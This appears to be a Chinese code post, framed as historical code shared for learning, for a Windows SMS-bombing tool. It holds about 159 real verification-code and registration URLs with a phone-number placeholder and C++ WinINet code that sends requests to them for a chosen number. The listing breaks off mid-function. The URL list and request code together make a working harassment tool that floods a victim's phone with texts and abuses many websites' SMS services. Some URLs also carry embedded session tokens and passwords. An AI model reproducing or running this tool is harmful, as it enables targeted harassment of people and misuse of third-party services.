利用网络短信验证码接口实现手机短信发送 (历史代码,贴出学习)
resource.h
//resource.h
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
//
#define IDD_DLG_PROC 101
#define IDR_BIT1 102
#define IDB_BITMAP1 103
#define IDI_ICON1 104
#define IDC_BTN_SEND 1001
#define IDC_LIST_VIEW 1002
#define IDC_EDIT_PHONE 1003
#define IDC_EDIT_COUNTER 1009
#define IDC_PROGRESS_STATUS 1011
#define IDC_CHECK1 1012
#define IDC_CHECK_CONTINUE 1012
#define IDC_STATIC_NUM 1013
#define IDM_OPEN 2000
#define IDM_DEL 2001
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 105
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1014
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
InitialComm.h
//InitialComm.h
#include <Windows.h>
#include <CommCtrl.h>
#pragma comment(lib,"Comctl32.lib")
#include <tchar.h>
#define BOMBSNUM 159
#define ONEK 1024
#define ONEHUNDRED 100
#define MAXSIZE ONEK*ONEK*5
#define CLRBACK RGB(11,11,11)
#define CLRTEXT RGB(111,111,111)
#define CLRTEXTBACK RGB(211,211,211)
#define CLRDLGBACK RGB(255,0,255)
#define GCL_HBRBACKGROUND (-10)
typedef struct _Lv_ITEM
{
int iIndex;
LPTSTR lvDataize;
LPTSTR lvHeader;
LPTSTR lvSavePath;
}*PLv_ITEM,Lv_ITEM;
typedef struct _ThreadParam
{
LPTSTR lpszWebSite;
HWND hLVCtrl;
PLv_ITEM pLv;
}*pThreadParam,ThreadParam;
void ListView_SetColorInfo(HWND hLVctrl)
{
ListView_SetBkColor(hLVctrl,CLRBACK);
ListView_SetTextBkColor(hLVctrl,CLRTEXTBACK);
ListView_SetTextColor(hLVctrl,CLRTEXT);
}
void ListView_Initial(HWND hLVctrl)
{
LVCOLUMN lv;
lv.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT;
lv.fmt = LVCFMT_LEFT;
lv.pszText = _T("REQEST ID");
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 20;
ListView_InsertColumn(hLVctrl, 0, &lv);
lv.pszText = _T("DATA SIZE");
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 30;
ListView_InsertColumn(hLVctrl, 1, &lv);
lv.pszText = _T("RESPONSE");
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 100;
ListView_InsertColumn(hLVctrl, 2, &lv);
lv.pszText = _T("PATH");
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 255;
ListView_InsertColumn(hLVctrl, 3, &lv);
}
int ListView_GetCurrentNrow(HWND ghListView)
{
int nRow=0;
for (int i=0;i<ListView_GetItemCount(ghListView);i++)
{
if (ListView_GetItemState(ghListView,i,LVIS_SELECTED)==LVIS_SELECTED)
{
nRow=i;
break;
}
}
return nRow;
}
void ListView_OpenSavedFile(HWND ghListView)
{
DWORD nRow;
char chPathIndexText[ONEK]={0};
char chIDIndexText[200]={0};
nRow=ListView_GetCurrentNrow(ghListView);
ListView_GetItemText(ghListView,nRow,3,chPathIndexText,ONEK*sizeof(char));
ShellExecuteA(NULL,"OPEN",chPathIndexText,NULL,NULL,SW_SHOWNORMAL);
}
void ListView_DeleteSavedFile(HWND ghListView)
{
DWORD nRow;
char chPathIndexText[ONEK]={0};
char chIDIndexText[20]={0};
nRow=ListView_GetCurrentNrow(ghListView);
ListView_GetItemText(ghListView,nRow,3,chPathIndexText,ONEK*sizeof(char));
DeleteFile(chPathIndexText);
ListView_SetSelectionMark(ghListView,nRow);
MessageBox(NULL,"DELETE OK","TIPS",MB_OK);
ListView_SetItemState(ghListView,nRow,LVIS_DROPHILITED,LVIS_OVERLAYMASK);
}
VOID ListView_InsertLVItem(HWND hList, PLv_ITEM pItem)
{
LVITEM lvItem;
INT iItem;
TCHAR szBuf[64];
iItem = ListView_GetItemCount(hList);
wsprintf(szBuf, _T("ID00%d"), pItem->iIndex);
lvItem.mask = LVIF_TEXT | LVIF_PARAM;
lvItem.iItem = iItem;
lvItem.iSubItem = 0;
lvItem.pszText = szBuf;
lvItem.cchTextMax = lstrlen(lvItem.pszText);
lvItem.lParam = (LPARAM)pItem;
if((lvItem.iItem = ListView_InsertItem(hList, &lvItem)) != -1)
{
lvItem.mask = LVIF_TEXT;
lvItem.iSubItem = 1;
lvItem.pszText = pItem->lvDataize;
lvItem.cchTextMax = lstrlen(lvItem.pszText);
ListView_SetItem(hList, &lvItem);
lvItem.iSubItem = 2;
lvItem.pszText =pItem->lvHeader;
lvItem.cchTextMax = lstrlen(lvItem.pszText);
ListView_SetItem(hList, &lvItem);
lvItem.iSubItem = 3;
lvItem.pszText = pItem->lvSavePath;
lvItem.cchTextMax =lstrlen(lvItem.pszText);
ListView_SetItem(hList, &lvItem);
}
}
LPARAM ListView_GetSelectData(HWND hListWnd)
{
LV_ITEM lvItem;
lvItem.iItem = ListView_GetNextItem(hListWnd, -1, LVNI_SELECTED);
if(lvItem.iItem == -1)
return -1;
lvItem.mask = LVIF_PARAM;
if(ListView_GetItem(hListWnd, &lvItem) == -1)
return -1;
return lvItem.lParam;
}
pstrTargetWebsiteInterface
#include <string>
using namespace std;
std::string pstrTargetWebsiteInterface[BOMBSNUM]=
{
"http://member.1688.com//member/ajax/send_identity_code_by_mobile.do?callback=jQuery172007067019236274064_1376100939244&mobile=%phone_number%&area=86&isBizMobile=true",
"https://affiliate-program.amazon.com/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=1376044348191",
"http://authleqr.sdo.com/lars/send-login-validate-code.jsaonp?callback=jQuery16206594030656120524_1341237419373&userId=%phone_number%",
"http://member.tiancity.com/handler/GetPhoneRegAuthCodeHandler.ashx?a=135&userid=%phone_number%",
"https://affiliate-program.amazon.com/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=1376099658512",
"http://i.360.cn/smsApi/sendsmscode?account=%phone_number%&condition=2&r=0.8326570473673853&callback=QiUserJsonP1354551431282",
"https://affiliate-program.amazon.com/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=137606625123",
"http://passport.cnyw.net//ajax.php?action=getverify&mobile=%phone_number%",
"http://www.kunlun.com/?act=ajax.registGetMobileCode&mobile=%phone_number%&type=regist",
"http://www.vko.cn/sendmobile.html?phone=%phone_number%&{}&_=1355879411734",
"http://www.66call.com/register.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTYzNzEwOTYxOA9kFgJmD2QWDAIFDw8WAh4EVGV4dAULMTU5NTAxMjgwMzZkZAIHDw8WBh8ABQblj6%2FnlKgeCENzc0NsYXNzBQ5yX2NfY19yX2NoZWNrMR4EXyFTQgICZGQCDQ8PZBYCHgV2YWx1ZQUJamlhbmdsaWxpZAIPDw8WBh8ABQbpgJrov4cfAQUOcl9jX2Nfcl9jaGVjazEfAgICZGQCEQ8PZBYCHwMFCWppYW5nbGlsaWQCEw8PFgYfAAUG6YCa6L%2BHHwEFDnJfY19jX3JfY2hlY2sxHwICAmRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMoC6NmiwUtO9MaSDo%2BblDqWjloj5&txtact=%phone_number%&hidfoc=&hidisOk=1&txtpwd=jianglili&txtrepwd=jianglili&txtcode=&ImageButton1.x=59&ImageButton1.y=11",
"https://affiliate-program.amazon.com/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=%phone_number%",
"http://register.sdo.com/gaea/SendPhoneMsg.ashx?page=REG&mobile=%phone_number%",
"http://wap.easou.com/sms.e?name=%e8%93%9d%e8%93%9d%e5%a4%a9%e7%a9%ba&mobile=%phone_number%&action=sms&usid=9&",
"http://www.gewara.com/ajax/mobile/register.xhtml?mobile=%phone_number%&captchaId=&captcha=",
"http://w.sohu.com/t2/tologin.do?mnd=%phone_number%&qr=1",
"http://www.66call.com/register.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTYzNzEwOTYxOA9kFgJmD2QWDAIFDw8WAh4EVGV4dAULMTU5NTAxMjgwMzZkZAIHDw8WBh8ABQblj6%2FnlKgeCENzc0NsYXNzBQ5yX2NfY19yX2NoZWNrMR4EXyFTQgICZGQCDQ8PZBYCHgV2YWx1ZQUJamlhbmdsaWxpZAIPDw8WBh8ABQbpgJrov4cfAQUOcl9jX2Nfcl9jaGVjazEfAgICZGQCEQ8PZBYCHwMFCWppYW5nbGlsaWQCEw8PFgYfAAUG6YCa6L%2BHHwEFDnJfY19jX3JfY2hlY2sxHwICAmRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMoC6NmiwUtO9MaSDo%2BblDqWjloj5&txtact=%phone_number%&hidfoc=&hidisOk=1&txtpwd=zhasini&txtrepwd=zhasini&txtcode=&ImageButton1.x=59&ImageButton1.y=11",
"http://wap.dm.10086.cn/X/o/3455101/447117/mva0?a=/enduser/querySMSValiCodeByWap20.action&templateDir=template&theme=simple&name=querySMSValiCode&id=querySMSValiCode&downId=&operateType=1&isPass=true&user.accountName=%phone_number%&Submit=%E4%B8%8B%E4%B8%80%E6%AD%A5",
"http://a.10086.cn/pams2/s/s.do?c=204&j=l&lpt=1&mobile=%phone_number%&p=72",
"http://read.10086.cn/www/firstpage/getValidateCode.action?phone=%phone_number%&sf=0",
"http://read.10086.cn/www/NiceNameAjax?msisdn=%phone_number%&e_cm=cmmobile",
"https://cmpay.10086.cn/service/send_chk_no.xhtml?REG_MBL_NO=%phone_number%&SMS_CD=URM001&typ=Y&r=0.9636801626045905",
"https://feixin.10086.cn/account/RegisterLv3Ajax?stype=m&stext=%phone_number%",
"http://my.feixin.10086.cn/password/findpasswordvalidate?type=0&account=%phone_number%",
"http://218.206.191.106/idm/usermgr/usernameCheck?mobilePhone=%phone_number%",
"http://go.10086.cn/index.do?method=doReg&mobile=%phone_number%&source=reg",
"http://www.keepc.com/registerForMobileForCode.act?mobileNo=%phone_number%",
"http://wap.cmread.com/sso/oauth2/msisdnRegister?e_l=1&f=7718&pg=221&msisdn=%phone_number%&passwd=1415926",
"https://passport.jd.com/emReg/isMobileEngaged?mobile=%phone_number%&r=0.08241349037594953",
"http://shoujibao.net/pams2/m/s.do?j=l&c=31879&p=73&mobile=%phone_number%&password=1415926",
"http://www.huggieshappyclub.com/Handler/Vcode.ashx?mobile=%phone_number%",
"http://wap.buidq.com/wap/webcallService.aspx?tel=%phone_number%",
"http://www.uwewe.com/get/IsUser.aspx?phone=%phone_number%&quhao=86",
"http://www.uwewe.com/get/SendMessage.aspx?phone=%phone_number%&ccode=86&type=1",
"http://www.66call.com/forgetpwd.aspx?ScriptManager1=UpdatePanel1|ImageButton2&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExMjY2ODE5MTgPFgYeCFRpbWVTcGFuBqpmMwD38M%2BIHgRjb2RlBQQ0MjY1HgRhY2N0BQsxNTgzODgwMjA0MmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFDEltYWdlQnV0dG9uMgUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjPdI0AXCiz2XIYks0CPZpmkSSEMDg%3D%3D&txtacct=%phone_number%&txtcode=7426&txtpwd=&txtrepwd=&ImageButton2.x=76&ImageButton2.y=18",
"http://www.wcall.net/ajax/send_captcha.jsp?mobile=86%phone_number%",
"http://www.uwewe.com/wap/reg.aspx?__VIEWSTATE=%2FwEPDwUKLTg3MDQ4MjcyNGRkTWAEkK5GOtWg8l1At7LuQLJsrtk%3D&__EVENTVALIDATION=%2FwEWBwLf79jTDQL7h7XWDwKd%2B7q4BwLinreAAgLChPzDDQK7q7GGCAKM54rGBiIS9Dt7i1j1h%2BDtH9EcyHIWJVZf&txtacct=%phone_number%&txtpwd=&txtRepwd=&txtCode=&Button2=%E8%AF%AD%E9%9F%B3%E8%8E%B7%E5%8F%96%E9%AA%8C%E8%AF%81%E7%A0%81http://www.gewara.com/ajax/mobile/register.xhtml?mobile=%phone_number%&captchaId=&captcha=",
"http://www.gewara.com/checkMember.xhtml?tag=mobile&itemvalue=%phone_number%",
"http://www.dianping.com/ajax/json/account/reg/mobile/send?m=%phone_number%",
"http://www.ushi.com/openRegU!checkNumber.jhtml?basicProfile.mobile=%phone_number%",
"http://www.efala.net/newfindpwbysms.flow?byname=%phone_number%",
"http://zj.189.cn/zjpr/member/authentication/sendValidatePhone.html?phone=%phone_number%",
"http://weibo.com/signup/v5/formcheck?type=mobile&value=%phone_number%&__rnd=1363496469546",
"http://api.open.uc.cn/cas/register/mobi/resendVCode?uc_param_str=einisivelafrpf&client_id=20033&from=cas&mobi=%phone_number%",
"http://ptlogin.4399.com/ptlogin/sendRegPhoneCode.do?phone=%phone_number%&appId=www_home&v=1&v=1",
"http://i.youku.com/u/bindMobile?__rt=1&__ro=&mobile=%phone_number%",
"https://safe.renren.com/actions/changesafemobile/sendmobilecaptcha?ajax-type=json&token=1ZhR7iv65SgaNXliuA7mujgTO3s3k1CL&mobile=%phone_number%&requestToken=496404876&_rtk=e95787e6",
"http://service.zol.com.cn/user/ajax/sendMsgCode.php?phone=%phone_number%",
"https://login.vancl.com/login/BeginRegister.ashx?action=sendmobilecode&key=%phone_number%&validatecode=&_=1363498730859",
"http://passport.eastmoney.com/chkphone.aspx?flag=check¶m=%phone_number%",
"http://passport.eastmoney.com/chkphone.aspx?flag=resend¶m=%phone_number%",
"http://passport.cntv.cn/mobileRegister.do?msisdn=%phone_number%&verfiCodeType=1&method=getRequestVerifiCode",
"http://register.zhenai.com/register/validateMobile.jsps?mobile=%phone_number%",
"http://reg.jiayuan.com/libs/xajax/reguser.server.php?processSendOrUpdateMessage&xajax=processSendOrUpdateMessage&xajaxargs%5B%5D=%3Cxjxquery%3E%3Cq%3Emobile%3Dd$%3C%2Fq%3E%3C%2Fxjxquery%3E&xajaxargs%5B%5D=mobile&xajaxr=1363500615734",
"https://passport.jd.com/emReg/sendMobileCode?mobile=%phone_number%&r=0.9010949897739119",
"https://member.suning.com/emall/SNCellPhoneRegisterCmd?actionType=reSendValCode&logonId=%phone_number%&URL=SNUserRegisterComfirmView&_=1363500974671",
"http://account.iqiyi.com/security/secret/mobile/adm.action?time=1363501090218&mobile=%phone_number%",
"http://www.skywldh.com/registerForMobileForCode.act?mobileNo=%phone_number%&smSecurityCode=",
"http://wap.skywldh.com/index.php?register&flag=flag&phone=%phone_number%&mss=on",
"http://zg51.net/web/customer/forgetPwd_up.asp?customermobile=%phone_number%&verify=01f735f97f1af959&checkcodeflag=1",
"http://www.qqvoice.com/free/getExpCode.do?_isAjaxRequest=true&phonemail=%phone_number%&type=1&randvalue=",
"http://www.feiin.com/findAccountInfoByAccount.act?mobile=%phone_number%",
"http://wap.feiin.cn/index.php?register?phone=%phone_number%",
"http://www.feiin.cn/bindMobileCode.act?account=%phone_number%&quhao=0086",
"http://www.139talk.com/user/regnum.html?phone=%phone_number%&type=1&key=ofoedsv0oeg6aari1m3ig0nsc5",
"http://www.139talk.com/invite/invitesms.html?phone=%phone_number%&key=ofoedsv0oeg6aari1m3ig0nsc5",
"http://www.139talk.com/invite/regnum.html?phone=%phone_number%&type=1&key=ofoedsv0oeg6aari1m3ig0nsc5",
"http://www.139talk.com/invite/register.html?p=cGhvbmV8MTU4Mzg4MDIwNDJ8Y2hrY29kZXw4OTczfGRhdGV8MjAxMy0wMy0xNw==",
"http://www.139talk.com/download/smsdownload.html?popPhone=%phone_number%&phoneType=Iphone&popKey=ofoedsv0oeg6aari1m3ig0nsc5",
"http://www.159talk.com/user/regnum.html?phone=%phone_number%&type=1&key=h5u9albk8oveqm17rfo6kvo226",
"http://my.tv.sohu.com/user/reg/getmstatus.do?passport=%phone_number%",
"http://sso.letv.com/user/mobileRegCode/mobile/%phone_number%/mobilecodeletvid/k961601363512388",
"http://register.sdo.com/gaea/SendPhoneMsg.ashx?page=REG&mobile=%phone_number%",
"http://download.feixin.10086.cn/download/downloadFLToMobile.action?id=50&no=%phone_number%&isCheckCode=1",
"http://my.feixin.10086.cn/password/sendfindpasswordsms?MobileNo=%phone_number%",
"http://f.10086.cn/im5/register/checkMobile.action?mobileNo=%phone_number%",
"http://zc.qq.com/cgi-bin/bd/send_sms?acc=%phone_number%&bkn=1656136920&v=0.6187287989762199",
"http://weibo.com/signup/v5/formcheck?type=sendsms&value=%phone_number%&__rnd=1364610012046http://hm.baidu.com/hm.gif?cc=1&ck=1&cl=16-bit&ds=1280x800&ep=%E8%8E%B7%E5%8F%96%E9%AA%8C%E8%AF%81%E7%A0%81*%E7%82%B9%E5%87%BB&et=4&fl=11.6&ja=1&ln=zh-cn&lo=0&nv=1&rnd=2125197633&si=4cd143d67831005438c65f586314c582&st=3&su=http://club.autohome.com.cn%2Fbbs%2Fthread-c-148-2031217-1.html&v=1.0.40&lv=1&api=8_0&tt=%E7%94%A8%E6%88%B7%E6%B3%A8%E5%86%8C_%E6%B1%BD%E8%BD%A6%E4%B9%8B%E5%AE%B6",
"https://www.qianwang365.com/uc/ajax/obtainSecurityCode4Regist.html?username=%phone_number%",
"http://www.efala.net/getcode.flow?phone=%phone_number%&cardno=&code=&",
"http://passport.wanmei.com/NoteAction.do?method=sendRegCode&mobile=%phone_number%",
"http://biz.b2b.cn/member/SendCode.ashx?temptime=1365067755281&m=%phone_number%",
"http://www.kunlun.com/index.php?act=ajax.checkUsername&user_name=%phone_number%",
"http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode&mobile=%phone_number%&uid=%phone_number%%40163.com&mark=mobile_start",
"http://passport.eastmoney.com/chkphone.aspx?flag=resend¶m=%phone_number%",
"http://user.syyx.com/ajax/users/checkusername.aspx?u=%phone_number%&r=0.42031912299903756",
"http://www.keepc.com/findAccountInfoByAccount.act?mobile=%phone_number%",
"http://service.zol.com.cn/user/ajax/sendMsgCode.php?phone=%phone_number%",
"http://gwpassport2.woniu.com/v2/checkusername?jsoncallback=jQuery172013263149083391296_1365068016801&username=%phone_number%&_=1365068030671",
"http://passport.upaidui.com/mobiles/send_validation_code?mobile_number=%phone_number%",
"http://user.51wan.com/reg_index_check_0.html?type=username&is=mobile&username=%phone_number%",
"http://interface.game.renren.com/ActivityCenter/?catalog=plugins&gameid=all&aname=reg&method=reg.subUserInfo&mobile=%phone_number%&callback=jQuery17204292543791520399_1365068164751&_=1365068180406",
"http://my.xoyo.com/register/NewIsExist/?uid=%phone_number%",
"http://member.tiancity.com/handler/GetPhoneRegAuthCodeHandler.ashx?a=0.016777698590329404&userid=%phone_number%",
"http://member.changyou.com/register/checkPhoneIsUsed.do?securityPhone=%phone_number%",
"http://www.game5.com/member/sendRegisterVerifyCode?reg_mobile=%phone_number%",
"http://passport.kongzhong.com/acc.do?m=sendPhoneVcodeFast&callback=jQuery17200752385214847075_1364445730228&phone=%phone_number%&smsvcode=%E8%BE%93%E5%85%A5%E6%89%8B%E6%9C%BA%E8%8E%B7%E5%8F%96%E7%9A%84%E9%AA%8C%E8%AF%81%E7%A0%81&_=1364445764320",
"http://www.pceggs.com/myaccount/mobile_ajax.aspx?refresh=0&i_mobileNo=%phone_number%",
"http://www.9dapai.com/SMSAuthentication/SMSAuthenticationPage.aspx/btnGenerateCheckCode_Click?(Content)=%7Bcellnum%3A'%phone_number%'%7D",
"http://www.veryzhun.com/ajax/register.asp?mobile=%phone_number%&areacode=86",
"http://wap.callda.com/register_2.jsp?phoneNumber=%phone_number%",
"http://www.200call.com/index.php?action=vphone?uphone=%phone_number%",
"http://wap.12580call.cn/index.php?register&phone=%phone_number%",
"http://w.yunpan.360.cn/intf.php?method=Sms.issue&qid=177256015&devtype=box&v=1.9.2.1245&devid=5b5b55bfc9f1f3113963b1f1350adc65&devname=&rtick=6969759&sign=aa8d029e8036f3f9d555956388dc4c57&ofmt=xml&pid=home&mobile=%phone_number%&contype=mdu&token=3708649921.6.95535003.177256015.1366401362",
"http://member.tiancity.com/handler/GetPhoneRegAuthCodeHandler.ashx?a=0.6334787302703851&userid=%phone_number%",
"http://passport.eastmoney.com/chkphone.aspx?flag=resend¶m=%phone_number%",
"http://passport.17u.cn/Member/RegisterHandler.ashx?action=phone&phone=%phone_number%&iid=0.6011805873638694",
"http://3g.163.com/t/signup.do?mobile=%phone_number%&sub=%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81%E7%9F%AD%E4%BF%",
"http://m.mail.163.com/reg.s?regtype=mobile&method=registerMobile&mobile_num=%phone_number%&password=testtest&password2=testtest&action=%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C%E4%BF%A1%E6%81%AF=400",
"http://account.jzyx.com/common/send-sms.html?tel=%phone_number%",
"http://t.sdo.com/home/SendSms?mobile=%phone_number%",
"http://txz.sdo.com/common/msgsend/?m=%phone_number%&t=2&method=SendAPPDownLoadSMSCallback&fromid=weblogin&r=0.9407026621045355",
"https://mcas.sdo.com/authen/checkAccountType.jsonp?callback=checkAccountType_JSONPMethod&inputUserId=%phone_number%",
"http://authleqr.sdo.com/lars/check-account-types.jsonp?callback=jQuery16202903677772887056_1353757072377&userId=%phone_number%&_=1353757193062",
"https://reg.95538.cn/userreg/AjaxHandler.ashx?method=getPhoneCode?mobilePhone=%phone_number%&type=0",
"http://u.baidu.com/?module=default&controller=Reg&action=sendSMS&b1350745948890=1&mobile=%phone_number%&appid=3&ucname=huisexinxi",
"http://as.baidu.com/a/msg?act=sendtomobile&f=topic_3001_2_0&mobile=%phone_number%&docid=1439803&ctime=1353852949890",
"http://as.baidu.com/a/msg?act=sendtomobile&f=web_alad_6%40next%40software_1003_6&mobile=%phone_number%&docid=1346020&ctime=1350747592671",
"http://api.pengyou.com/json.php?mod=mobilebind&act=sendsms&mobile=%phone_number%&g_tk=null",
"http://www.maiduo.com/handler/Register/Register.ashx?act=check&mobile=%phone_number%&checkCode=undefined",
"http://www.sinosig.com/auth/regist_resetMsg.action?sso_userName=%phone_number%&isAjaxSubmit=true",
"http://www.pubyun.com/accounts/signup_vcode/4449056/?mobile=%phone_number%",
"http://dealer.autohome.com.cn/Handler/SendMessage.ashx?action=sendcode&mob=%phone_number%",
"http://yuyue.shdc.org.cn/User/ajaxSendConfirmCode.aspx?mobile=%phone_number%",
"http://reg.ztgame.com/registe/mobilePhoneRegister?type=isBindPhoneNum&phoneNum=%phone_number%",
"http://www.baixing.com/ajax/auth/sendCode/?type=resetPassword&mobile=%phone_number%",
"http://mail.sina.com.cn/cgi-bin/phonecode.php?phonenumber=%phone_number%",
"http://passport.q.com.cn/register/index/ajaxcheckmobile/?mobile=%phone_number%",
"http://yun.baidu.com/account/v1/api/sendacodenormal?dest=%phone_number%",
"https://reg.passport.the9.com/api/chk_loginname?loginname=%phone_number%&accounttype=reg_mobile",
"https://login.sina.com.cn/signup/check_user.php?format=json&from=mobile&name=%phone_number%",
"http://js.ac.10086.cn/jsauth/reg?method=sendVerCode&=%phone_number%",
"http://my.xoyo.com/register/isExist/0.8101254514227967?uid=%phone_number%&type=mobile",
"http://member.changyou.com/register/checkPhoneIsUsed.do?securityPhone=%phone_number%",
"https://reg.91.com/AjaxAction/AC_register.ashx?action=verifyusernameofmobile&txtUserNameOfMobile=%phone_number%",
"http://211.136.93.21/hfwebbusi/pay/saveOrder.do?mobileId=%phone_number%",
"http://passport.wanmei.com/NoteAction.do?method=sendRegCode?mobile=%phone_number%",
"http://authleqr.sdo.com/lars/check-account-types.jsonp?callback=jQuery16203658856788579764_1366925187811&userId=%phone_number%&_=1366925195670",
"http://www.guahao.com/validcode/json/mobile/%phone_number%/REG_MOBILE/cebaf071614ac29f9ad6c692b474a46f?_=1366925898545",
"http://chinatelecom.zc.qq.com/cgi-bin/send_sms?phonenum=%phone_number%&stype=1",
"http://cas.sdo.com/authen/sendPhoneCheckCode.jsonp?callback=sendPhoneCheckCode_JSONPMethod&inputUserId=%phone_number%&type=3&appId=201&areaId=0&serviceUrl=",
"http://www.1732.com/public/ajax.aspx?app=resendcode&bindaccount=%phone_number%",
"http://sign.kting.cn/register/getphoneverify/phone/%phone_number%",
"http://m.xs8.cn/user/quick_signup.html?mobile=%phone_number%",
"http://bbs.360che.com/ajax1.php?action=ds21&mobilenum=%phone_number%&inajax=1&ajaxtarget=ts",
"http://pass.ledu.com/reg/mobilecode?type=reg&mobile=%phone_number%&r=0.7577109599155907",
"http://www.52callme.com/Handler/SendVerifyCodeHandler.ashx?m=%phone_number%",
"http://sso.letv.com/user/mobileRegCode/mobile/%phone_number%/mobilecodeletvid/c326961366927138",
"http://www.sinosig.com/auth/regist_refresh.action?sso_userName=%phone_number%&resetSend=1",
"https://sn.ac.10086.cn/sendMsgRequest?mobileNumber=%phone_number%",
"https://fj.ac.10086.cn/SMSCodeSend?mobileNum=%phone_number%&validCode=0000&errorurl=https://fj.ac.10086.cn/4login/errorPage.jsp&name=menhu",
"https://fj.ac.10086.cn/SMSCodeSend?mobileNum=%phone_number%&validCode=0000&errorurl=http://www.fj.10086.cn:80/service/login/send.jsp",
"https://fj.ac.10086.cn/ssouser/sendMessage.do?mobileno=%phone_number%",
"http://www.gs.10086.cn/gs_obsh_service/actionDispatcher.do?userMobile=%phone_number%",
"https://sn.ac.10086.cn/sendMsgRequest?code=%E7%82%B9%E5%87%BB%E8%8E%B7%E5%8F%96%E9%AA%8C%E8%AF%81%E7%A0%81&mobileNumber=%phone_number%",
"https://js.ac.10086.cn/jsauth/dzqd/pagSendDypass?umobile=%phone_number%",
"http://gd.10086.cn/ngcrm/hall/SendRandomSms.action?mobile=%phone_number%&isReRequest=false",
"http://liao.189.cn/ECP-Portals/phoneDown/download.do?phone=%phone_number%",
"https://ecplive.cn/reg/servlet/ivrInvokeServlet?number=%phone_number%&flagNum=3"
};
FuctionComm.h
//FuctionComm.h
#include<windows.h>
#include<wininet.h>
#include<winnls.h>
#include<time.h>
#include <stdio.h>
#include <stdlib.h>
#include "InitialComm.h"
#pragma comment(lib,"wininet.lib")
TCHAR szErrMsg[200];
DWORD gdwID=0;
DWORD gdwTotalSize=0;
DWORD gdwCounterNumber=0;
TCHAR gchACounterSize[30]="";
#define _TXT(pstr) _T(pstr)
#define ERROR_MSG(pstr) MessageBox(NULL,pstr,_T("ERROR_TIPS"),MB_OK)
extern HWND ghDlg;
extern HWND ghEdtPhoneCtrl;
extern HWND ghEdtCounterCtrl;
extern HWND ghLvDataCtrl;
extern CRITICAL_SECTION gcs;
void CenterWindow(HWND hwnd)
{
RECT rcDlg;
int nDlgWidth, nDlgHight;
int nScreenWidth, nScreenHight;
nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
nScreenHight = GetSystemMetrics(SM_CYSCREEN);
GetWindowRect(hwnd, &rcDlg);
nDlgWidth = rcDlg.right - rcDlg.left;
nDlgHight = rcDlg.bottom - rcDlg.top;
MoveWindow(hwnd, (nScreenWidth - nDlgWidth) / 2,
(nScreenHight - nDlgHight) / 2, nDlgWidth, nDlgHight, FALSE);
}
void SetDlgPosition(HWND hDLG)
{
INT ScreenX=0,ScreenY=0;
ScreenX=GetSystemMetrics(SM_CXSCREEN);
ScreenY=GetSystemMetrics(SM_CYSCREEN);
RECT rt;
GetWindowRect(hDLG,&rt);
ScreenX=(ScreenX-rt.right-rt.left)/2;
ScreenY=(ScreenY-rt.bottom-rt.top)/2;
MoveWindow(hDLG,ScreenX,ScreenY,rt.right-rt.left,rt.bottom-rt.top,FALSE);
}
HANDLE CreateTmpFile(char *pchRandFileName)
{
HANDLE hFile = CreateFileA(pchRandFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
return hFile;
else
return INVALID_HANDLE_VALUE;
}
DWORD FuncSaveFile(HANDLE hFile,CHAR *pachBuffer,DWORD dwDataSize)
{
DWORD nWritedBytes=0;
WriteFile(hFile,pachBuffer,dwDataSize,&nWritedBytes,NULL);
if (nWritedBytes==0)
return 0;
else
return nWritedBytes;
}
int GetRandomNum()
{
srand((unsigned int )time(NULL));
Sleep(20);
return rand();
}
void ClearResourceHandle(HINTERNET hOpen,HINTERNET hConnect,HINTERNET hRequest)
{
if (hRequest)
{
if (!InternetCloseHandle (hRequest))
{
wsprintf (szErrMsg, TEXT("%s: %d"), TEXT("CloseHandle Request Error"),
GetLastError());
}
}
if (hConnect)
{
if (!InternetCloseHandle (hConnect))
{
wsprintf (szErrMsg, TEXT("%s: %d"), TEXT("CloseHandle Connect Error"),
GetLastError());
}
}
if (hOpen)
{
if (!InternetCloseHandle (hOpen))
{
wsprintf (szErrMsg, TEXT("%s: %d"), TEXT("CloseHandle Open Error"),
GetLastError());
}
}
}
DWORD WINAPI CallBackHttpThreadProc (int Index,TCHAR *pchPhoneNum)
{
LPTSTR lpszWebSite=NULL;
HINTERNET hOpen=NULL,hConnect=NULL,hRequest=NULL;
PLv_ITEM pLV;
std::string::size_type iFoundPos=pstrTargetWebsiteInterface[Index].find("%phone_number%");
